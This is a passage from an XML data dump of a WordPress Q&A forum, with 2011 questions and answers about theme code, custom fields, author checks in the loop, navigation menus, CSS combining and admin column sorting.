LastActivityDate="2011-06-21T22:15:08.017" Title="How to reduce repetitive code" Tags="&lt;theme-development&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="20619" PostTypeId="2" ParentId="20617" CreationDate="2011-06-21T19:33:53.627" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;meta_mblink&quot;&amp;gt;&#xA; &amp;lt;?php&#xA; if(function_exists('get_custom_field_data')) {&#xA; ?&amp;gt;&#xA; &amp;lt;a href=&quot;&amp;lt;?php echo get_custom_field_data('mblink', true); ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA; &amp;lt;?php&#xA; }&#xA;  ?&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe something like that? I recall having issues with echos busting out of html before and doing something like this worked for me&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-21T19:33:53.627" />
  <row Id="20620" PostTypeId="2" ParentId="20617" CreationDate="2011-06-21T19:34:19.000" Score="1" ViewCount="" Body="&lt;p&gt;I suspect the problem is the custom function &lt;code&gt;get_custom_field_data()&lt;/code&gt;. Can you post the function definition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely, the second argument corresponds to whether or not to echo the result. Try changing it to &lt;code&gt;false&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://perishablepress.com/press/2008/12/22/wordpress-custom-fields-tips-tricks/&quot; rel=&quot;nofollow&quot;&gt;Here's an example of this function being defined in a tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php function get_custom_field_data($key, $echo = false) {&#xA;    global $post;&#xA;    $value = get_post_meta($post-&amp;gt;ID, $key, true);&#xA;    if($echo == false) {&#xA;        return $value;&#xA;    } else { &#xA;        echo $value;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would recommend just using &lt;code&gt;get_post_meta()&lt;/code&gt;, rather than using a wrapper function.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T19:34:19.000" CommentCount="4" />
  <row Id="20621" PostTypeId="1" CreationDate="2011-06-21T19:46:59.217" Score="0" ViewCount="34" Body="&lt;p&gt;I have a wp theme with this menu in header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;header_nav&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;nav&quot; class=&quot;clearfloat&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; class=&quot;on&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;            &amp;lt;?php wp_list_pages('title_li='); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;                       &#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed the tut here &lt;a href=&quot;http://www.wpbeginner.com/wp-themes/how-to-add-custom-navigation-menus-in-wordpress-3-0-themes/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpbeginner.com/wp-themes/how-to-add-custom-navigation-menus-in-wordpress-3-0-themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and replace it with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'sort_column' =&amp;gt; 'menu_order', 'container_class' =&amp;gt; 'menu-header' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't style at all like previously. So is it really the right way ?&lt;/p&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-06-21T20:32:25.253" Title="How to substitute old wordpress menu by wp 3 menu the right way?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="20622" PostTypeId="1" AcceptedAnswerId="20624" CreationDate="2011-06-21T19:47:10.437" Score="0" ViewCount="48" Body="&lt;p&gt;I've got a multi-author site running on Wordpress 3.1.3 . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to place an extra header above the title for a specific author. So if &quot;John&quot; posts on the blog, it would have an  above the post on the home page that says &quot;John's Perpective&quot;, or something of that nature. The idea is that we want one of the many author's posts to be highlighted for users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that I cannot figure out how to check for which user wrote the post within the loop. I am doing it on various other areas of the site via WP_Query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm imagining I need something like this (pseudo code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( author == 2 ) {&#xA;    echo '&amp;lt;h2&amp;gt;John's Perspective&amp;lt;/h2&amp;gt;'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be an easy fix, but I'm stumped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6376" LastActivityDate="2011-06-22T01:16:29.497" Title="Display posts differently depending on which author wrote it" Tags="&lt;author&gt;&lt;the-loop&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="20624" PostTypeId="2" ParentId="20622" CreationDate="2011-06-21T20:09:51.320" Score="0" ViewCount="" Body="&lt;p&gt;When you're in the loop, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_author&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_author()&lt;/code&gt;&lt;/a&gt; to get the author's 'Public' name.  Alternatively, you can use &lt;code&gt;get_the_author_meta( 'ID' )&lt;/code&gt; in the loop to get the author ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, modifying your psuedo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 2 == get_the_author_meta( 'ID' ) ) {&#xA;    echo '&amp;lt;h2&amp;gt;John's Perspective&amp;lt;/h2&amp;gt;'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-21T20:09:51.320" CommentCount="1" />
  <row Id="20625" PostTypeId="2" ParentId="20622" CreationDate="2011-06-21T20:10:04.627" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;get_the_author()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_author&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), which returns the author's &lt;strong&gt;display name&lt;/strong&gt;. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'John Smith' == get_the_author() ) {&#xA;    // This is a post written by John; do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use other author metadata, use &lt;code&gt;get_the_author_meta()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_author_meta&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$authormeta = get_the_author_meta();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'johnsmith' == $authormeta-&amp;gt;user_nicename ) {&#xA;    // This is a post writeen by username 'johnsmith'; do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T20:10:04.627" CommentCount="1" />
  <row Id="20626" PostTypeId="1" CreationDate="2011-06-21T20:13:19.040" Score="0" ViewCount="27" Body="&lt;p&gt;Is there a way to add an extra login step via plugin such that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;login form -&amp;gt; token verification form -&amp;gt; logged in&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be the login process? The regular login form takes you to another page where a token form is presented (if and only if the username/pw is correct). The user is finally logged in if username/passwork/token are all correct. The token is generated after the username/password is validated and therefore cannot be on the first login form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How might this be achieved using a plugin?&lt;/p&gt;&#xA;" OwnerUserId="6377" LastActivityDate="2011-06-21T20:13:19.040" Title="Extra login step via plugin" Tags="&lt;plugins&gt;&lt;login&gt;&lt;verification&gt;" />
  <row Id="20627" PostTypeId="2" ParentId="20621" CreationDate="2011-06-21T20:13:40.613" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('theme_location'  =&amp;gt; 'primary or whatever you set it', 'sort_column' =&amp;gt; 'menu_order', 'menu_id' =&amp;gt; 'nav', 'menu_class' =&amp;gt; 'clearfloat', 'container_id' =&amp;gt; 'header_nav' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex if your friend! &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditorDisplayName="" LastEditDate="2011-06-21T20:32:25.253" LastActivityDate="2011-06-21T20:32:25.253" />
  <row Id="20628" PostTypeId="2" ParentId="20618" CreationDate="2011-06-21T20:14:09.180" Score="0" ViewCount="" Body="&lt;p&gt;You can define your own custom functions in PHP just like you would in JavaScript.  Here's your code example rewritten using a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = get_page_by_title('Excerpts Showreel'); &amp;lt;-- This piece of code will change&#xA;&#xA;// the code below will never change.&#xA;function get_my_content( $page ) {&#xA;    $my_id = $page;&#xA;    $post_id = get_post($my_id, ARRAY_A);&#xA;    $title = $post_id['post_title'];&#xA;    $content = $post_id['post_content'];&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;echo get_my_content($page);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So long as you have your &lt;code&gt;get_my_content()&lt;/code&gt; function defined, you can use it anywhere you need to.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-21T20:14:09.180" CommentCount="3" />
  <row Id="20629" PostTypeId="2" ParentId="20616" CreationDate="2011-06-21T20:17:07.633" Score="1" ViewCount="" Body="&lt;p&gt;It's a global variable that can be checked by user functions and filters to see whether or not WordPress has already sent headers.  It's just there to help.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-21T20:17:07.633" />
  <row Id="20630" PostTypeId="2" ParentId="20612" CreationDate="2011-06-21T20:40:53.853" Score="0" ViewCount="" Body="&lt;p&gt;have a look at: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_page_by_path()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;codex.wordpress.org/Function_Reference/get_page_by_path&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-21T20:40:53.853" />
  <row Id="20631" PostTypeId="2" ParentId="20618" CreationDate="2011-06-21T20:45:40.117" Score="0" ViewCount="" Body="&lt;p&gt;Following on from @EAMann's answer, I'm assuming you want 'Excerpts Showreel' to be variable, and to return content based on passing the variable?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_page_content_by_title( $title = false ) {&#xA;&#xA;    if ( false == $title ) return;&#xA;&#xA;    $page = get_page_by_title( $title );&#xA;    $my_id = $page;&#xA;    $post_id = get_post($my_id, ARRAY_A);&#xA;    $title = $post_id['post_title'];&#xA;    $content = $post_id['post_content'];&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo mytheme_get_page_content_by_title( 'Excerpts Showreel' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you might want to sanitize the &lt;code&gt;$title&lt;/code&gt; variable being passed into the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why you'd &lt;em&gt;need&lt;/em&gt; to return the title (it's what you &lt;em&gt;start&lt;/em&gt; with, and pass to your function), but here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_page_details_by_title( $title = false ) {&#xA;&#xA;    if ( false == $title ) return;&#xA;&#xA;    $page = get_page_by_title( $title );&#xA;    $my_id = $page;&#xA;    $post_id = get_post($my_id, ARRAY_A);&#xA;    $posttitle = $post_id['post_title'];&#xA;    $postcontent = $post_id['post_content'];&#xA;&#xA;    $details = array(&#xA;        'title' =&amp;gt; $posttitle,&#xA;        'content' =&amp;gt; $postcontent&#xA;    );&#xA;&#xA;    return $details;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'd have to pass it to a variable to use it in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypostdetails = mytheme_get_page_details_by_title( 'Excerpts Showreel' );&#xA;&#xA;echo $mypostdetails['title']; // print the post title&#xA;echo $mypostdetails['content']; // print the post content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-21T22:15:08.017" LastActivityDate="2011-06-21T22:15:08.017" CommentCount="7" />
  <row Id="20632" PostTypeId="1" AcceptedAnswerId="20633" CreationDate="2011-06-21T20:50:56.633" Score="0" ViewCount="43" Body="&lt;p&gt;I'm creating a theme where i want it to have different widgets and plugins. Each plugin would ideally have it's own css file. However, this approach is not so good because i can end up having multiple files included in my header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an approach where i can sort of cache all different css files in a single one upon the first user request and then just use that ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastEditorUserId="6329" LastEditorDisplayName="" LastEditDate="2011-06-21T22:08:01.733" LastActivityDate="2011-06-21T23:34:12.953" Title="Combining CSS files into a single cached one" Tags="&lt;theme-development&gt;&lt;css&gt;" AnswerCount="3" />
  <row Id="20633" PostTypeId="2" ParentId="20632" CreationDate="2011-06-21T21:02:32.977" Score="4" ViewCount="" Body="&lt;p&gt;Yes: put them all in a function, and then enqueue that function at the &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; hook. That way, you can define the CSS dynamically (e.g. based on Theme option settings), and let WordPress output it in the document head.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-21T21:02:32.977" CommentCount="2" />
  <row Id="20634" PostTypeId="2" ParentId="11268" CreationDate="2011-06-21T21:06:00.700" Score="0" ViewCount="" Body="&lt;p&gt;Role Scoper (http://wordpress.org/extend/plugins/role-scoper/) is another option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set permissions on a page or post basis, if you like. It is something I am looking into using for some of our forms. Has anyone compared it with adminimize and other similar plugins?&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-06-21T21:06:00.700" />
  <row Id="20635" PostTypeId="1" CreationDate="2011-06-21T21:16:03.127" Score="0" ViewCount="24" Body="&lt;p&gt;When I add content to a page as the original admin user, I can past in the following code and it saves fine (old google search set up by another user):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://www.google.com/cse&quot; enctype=&quot;application/x-www-form-urlencoded&quot; id=&quot;searchbox_001294947689528032268:0gmklvjoyzm&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;input name=&quot;cx&quot; type=&quot;hidden&quot; value=&quot;001294947689528032268:0gmklvjoyzm&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;q&quot; size=&quot;40&quot; type=&quot;text&quot; /&amp;gt; &amp;lt;input name=&quot;sa&quot; type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;cof&quot; type=&quot;hidden&quot; value=&quot;FORID:0&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;script src=&quot;http://www.google.com/coop/cse/brand?form=searchbox_001294947689528032268%3A0gmklvjoyzm&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately other users that I created on the same site, set as administrators can paste in the same code on a page, but as soon as they hit update, wordpress strips the above code and only inserts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://www.google.com/cse&quot; enctype=&quot;application/x-www-form-urlencoded&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it stripping content from other users with the administrator role, but not the original admin user?&lt;/p&gt;&#xA;" OwnerUserId="4756" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-21T21:34:36.570" LastActivityDate="2011-06-21T21:34:36.570" Title="Wordpress stripping html and script tags from some admin users on save" Tags="&lt;admin&gt;&lt;permissions&gt;&lt;content-restriction&gt;" />
  <row Id="20636" PostTypeId="1" AcceptedAnswerId="20646" CreationDate="2011-06-21T21:18:33.517" Score="1" ViewCount="20" Body="&lt;p&gt;So I know that _x() and it's wrappers allow a developer to specify the context of a translated string. I'm pretty clear on &quot;how&quot; to use this function as well as &quot;why&quot; it should be used. I am wondering how this function is helpful to people who perform translations. Poedit does not seem to treat it any differently. Does use of this function aid in translation? Is there a way for translators to somehow see the context during the translation process?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-21T22:24:26.803" Title="The effect of x() family of functions" Tags="&lt;translation&gt;&lt;l18n&gt;&lt;x&gt;" AnswerCount="1" />
  <row Id="20637" PostTypeId="2" ParentId="20632" CreationDate="2011-06-21T21:26:21.270" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; is your friend. It has the ability to combine and concatenate js/css files out of the box. You'll have to do some manual configuration, but the pros outweigh the cons.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-06-21T21:26:21.270" />
  <row Id="20638" PostTypeId="2" ParentId="20617" CreationDate="2011-06-21T21:35:31.823" Score="1" ViewCount="" Body="&lt;p&gt;This is how I would code this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = get_post_meta( get_the_ID(), 'mblink', true );&#xA;if ( ! empty( $url ) ) {&#xA;    print '&amp;lt;a href=&quot;' . esc_url( $url ) . '&quot;&amp;gt;MBLINK&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-21T21:35:31.823" CommentCount="1" />
  <row Id="20639" PostTypeId="1" AcceptedAnswerId="20647" CreationDate="2011-06-21T21:46:21.677" Score="0" ViewCount="51" Body="&lt;p&gt;I have picked through Scribu's post very carefully and cannot determine where the issue is.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register the column&#xA;function event_date_column_register( $columns ) {&#xA;$columns['event-date'] = __( 'Event Date', 'my-plugin' );&#xA;&#xA;return $columns;&#xA;}&#xA;add_filter( 'manage_edit-event_columns', 'event_date_column_register' );&#xA;&#xA;// Display the column content&#xA;function event_date_column_display( $column_name, $post_id ) {&#xA;if ( 'event-date' != $column_name )&#xA;    return;&#xA;&#xA;$event_date = get_post_meta($post_id, 'event-date', true);&#xA;if ( !$event_date )&#xA;    $event_date = '&amp;lt;em&amp;gt;' . __( 'undefined', 'my-plugin' ) . '&amp;lt;/em&amp;gt;';&#xA;&#xA;echo $event_date;&#xA;}&#xA;add_action( 'manage_event_custom_column', 'event_date_column_display', 10, 2 );&#xA;&#xA;// Register the column as sortable&#xA;function event_date_column_register_sortable( $columns ) {&#xA;$columns['event-date'] = 'event-date';&#xA;&#xA;return $columns;&#xA;}&#xA;add_filter( 'manage_edit-event_sortable_columns', 'event_date_column_register_sortable' );&#xA;&#xA;&#xA;function event_date_column_orderby( $vars ) {&#xA;if ( isset( $vars['orderby'] ) &amp;amp;&amp;amp; 'event-date' == $vars['orderby'] ) {&#xA;    $vars = array_merge( $vars, array(&#xA;        'meta_key' =&amp;gt; 'event-date',&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;        'order'     =&amp;gt; 'asc'&#xA;    ) );&#xA;}&#xA;&#xA;return $vars;&#xA;}&#xA;add_filter( 'request', 'event_date_column_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type for Event with a custom field: event-date  dates are entered: 2011/06/21&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something stupid I have missed or this won't do what I want?  It does put the heading up at the top of the admin events list but nothing shows in each line item.&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-06-21T22:31:25.037" Title="sortable columns on a custom post type won't work" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="20640" PostTypeId="2" ParentId="20618" CreationDate="2011-06-21T21:48:44.080" Score="0" ViewCount="" Body="&lt;p&gt;the function &lt;strong&gt;get template part&lt;/strong&gt; will do this perfectly.  Just put your code in a separate file.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'index' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the above, you would create a file in your themes folder called loop-index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read up on it here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_template_part&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6380" LastActivityDate="2011-06-21T21:48:44.080" />
  <row Id="20641" PostTypeId="2" ParentId="20617" CreationDate="2011-06-21T21:52:18.493" Score="1" ViewCount="" Body="&lt;p&gt;You need to set the second parameter to FALSE, (or just leave it blank) in the get_custom_field_data function.  Do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;meta_mblink&quot;&amp;gt;&#xA; &amp;lt;?php&#xA; if(function_exists('get_custom_field_data')) {&#xA; ?&amp;gt;&#xA; &amp;lt;a href=&quot;&amp;lt;?php echo get_custom_field_data('mblink'); ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA; &amp;lt;?php&#xA; }&#xA;  ?&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6380" LastActivityDate="2011-06-21T21:52:18.493" CommentCount="1" />
  <row Id="20642" PostTypeId="1" AcceptedAnswerId="20645" CreationDate="2011-06-21T21:55:17.237" Score="0" ViewCount="69" Body="&lt;p&gt;I have a homepage witch i am trying to query a custom post type as well as everything from the default posts,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right now i have 2 loops running everything looks good except i want the 2 different types to intermingle , if that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im running a jquery function that shows and hides posts from a either the custom post type or the default &quot;Blog&quot; post type. but since I have to loops the default posts always show up on top and the posts from the custom post type show up on the bottom, here is a link the my live page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themes.thefragilemachine.com/themachine_v4/&quot; rel=&quot;nofollow&quot;&gt;http://themes.thefragilemachine.com/themachine_v4/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see that my custom post type is showing with a &quot;w&quot; icon, they are showing up near the end, but i want them to intermingle,. i know this is alot of type just trying to figure out the best way to explain what i would like too achieve. any help would be amazing! here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;            &amp;lt;?php query_posts('posts_per_page=6');?&amp;gt;&#xA;            &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;postitem mall floatleft myblog storm_fader&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-img lordfade&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('type2'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-contentwrap&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-txt&quot;&amp;gt;&#xA;            &amp;lt;h6&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h6&amp;gt;&#xA;            &amp;lt;?php the_excerpt(''); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-info&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;post-label-blog&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;spec&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;/themachine_v4/wp-content/themes/themachine_v5_2/lib/imgs/img_gopost.jpg&quot;&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-shadow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;h2 class=&quot;center&quot; style=&quot;color:#FFF;&quot;&amp;gt;ERROR&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php rewind_posts(); ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;            &amp;lt;?php query_posts('post_type=work&amp;amp;posts_per_page=6');?&amp;gt;&#xA;            &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;postitem mall floatleft mywork storm_fader&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-img lordfade&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('type2'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-contentwrap&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-txt&quot;&amp;gt;&#xA;            &amp;lt;h6&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h6&amp;gt;&#xA;            &amp;lt;?php the_excerpt(''); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-info&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;span class=&quot;post-label-work&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;spec&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;/themachine_v4/wp-content/themes/themachine_v5_2/lib/imgs/img_gopost.jpg&quot;&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postitem-shadow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php 